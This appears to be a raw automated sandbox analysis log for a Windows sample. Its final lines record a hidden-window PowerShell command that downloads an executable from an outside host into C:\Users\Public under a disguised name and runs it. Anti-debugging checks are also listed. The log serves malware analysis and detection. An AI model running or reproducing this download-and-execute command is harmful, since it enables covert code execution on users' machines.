Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3732Thread sleep count: 7191 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5104Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2444Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6124Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5600Thread sleep count: 7509 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1588Thread sleep time: -7378697629483816s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5844Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1016Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1704Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 972Thread sleep count: 7086 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4556Thread sleep time: -4611686018427385s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5484Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5100Thread sleep time: -30000s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 5916Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\System32\conhost.exeLast function: Thread delayed
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9389Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9119
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8788
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9106
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8916Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8995Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 9017
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8009
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7797
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8479
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7978
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8174
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8548
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7619
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8037
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7799
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7925
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7831
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7702
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 8773
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7191
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7509
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeWindow / User API: threadDelayed 7086
Source: C:\Users\Public\pin77.exeAPI coverage: 5.9 %
Source: C:\Users\Public\pin77.exeAPI coverage: 5.6 %
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess information queried: ProcessInformationJump to behavior
Source: C:\Users\Public\pin77.exeCode function: 12_2_00344B20 FindFirstFileA,FindClose,12_2_00344B20
Source: C:\Users\Public\pin77.exeCode function: 12_2_00318B60 GetWindowsDirectoryA,_strlen,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,GetCurrentProcessId,12_2_00318B60
Source: C:\Users\Public\pin77.exeCode function: 12_2_003A8F62 FindFirstFileExW,12_2_003A8F62
Source: C:\Users\Public\pin77.exeCode function: 12_2_003A9013 FindFirstFileExW,FindNextFileW,FindClose,FindClose,12_2_003A9013
Source: C:\Users\Public\pin77.exeCode function: 20_2_00344B20 FindFirstFileA,FindClose,20_2_00344B20
Source: C:\Users\Public\pin77.exeCode function: 20_2_00318B60 GetWindowsDirectoryA,_strlen,FindFirstFileA,FindNextFileA,FindNextFileA,FindClose,GetCurrentProcessId,20_2_00318B60
Source: C:\Users\Public\pin77.exeCode function: 20_2_003A8F62 FindFirstFileExW,20_2_003A8F62
Source: C:\Users\Public\pin77.exeCode function: 20_2_003A9013 FindFirstFileExW,FindNextFileW,FindClose,FindClose,20_2_003A9013
Source: C:\Users\Public\pin77.exeCode function: 20_2_003399C0 GetProcAddress,FindFirstFileA,CloseHandle,20_2_003399C0
Source: C:\Users\Public\pin77.exeCode function: 20_2_00367B40 FindFirstFileA,FindClose,FindWindowA,20_2_00367B40
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeThread delayed: delay time: 922337203685477
Source: pin77.exe, 00000019.00000002.1429102767.0000000000A47000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 0000001F.00000002.1427366484.0000000001067000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000023.00000002.1426908278.0000000001147000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000040.00000002.1426697445.00000000014A7000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000048.00000002.1427938894.0000000000AE8000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 0000004C.00000002.1427029114.0000000000AF8000.00000004.00000020.00020000.00000000.sdmp, pin77.exe, 00000061.00000002.1426813520.00000000009A7000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: C:\Users\Public\pin77.exeCode function: 12_2_003A413D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_003A413D
Source: C:\Users\Public\pin77.exeCode function: 12_2_003A2FF1 GetProcessHeap,12_2_003A2FF1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: DebugJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess token adjusted: Debug
Source: C:\Users\Public\pin77.exeCode function: 12_2_0039A4B2 mov ecx, dword ptr fs:[00000030h]12_2_0039A4B2
Source: C:\Users\Public\pin77.exeCode function: 20_2_0039A4B2 mov ecx, dword ptr fs:[00000030h]20_2_0039A4B2
Source: C:\Users\Public\pin77.exeCode function: 12_2_0038E51E SetUnhandledExceptionFilter,12_2_0038E51E
Source: C:\Users\Public\pin77.exeCode function: 12_2_003A413D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_003A413D
Source: C:\Users\Public\pin77.exeCode function: 12_2_0038E52A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,12_2_0038E52A
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038E51E SetUnhandledExceptionFilter,20_2_0038E51E
Source: C:\Users\Public\pin77.exeCode function: 20_2_003A413D IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,20_2_003A413D
Source: C:\Users\Public\pin77.exeCode function: 20_2_0038E52A IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,20_2_0038E52A
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exeJump to behavior
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell /W 01 curl https://the.earth.li/~sgtatham/putty/latest/w32/putty.exe -o C:\Users\Public\pin77.exe;C:\Users\Public\pin77.exe
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeProcess created: C:\Users\Public\pin77.exe C:\Users\Public\pin77.exe
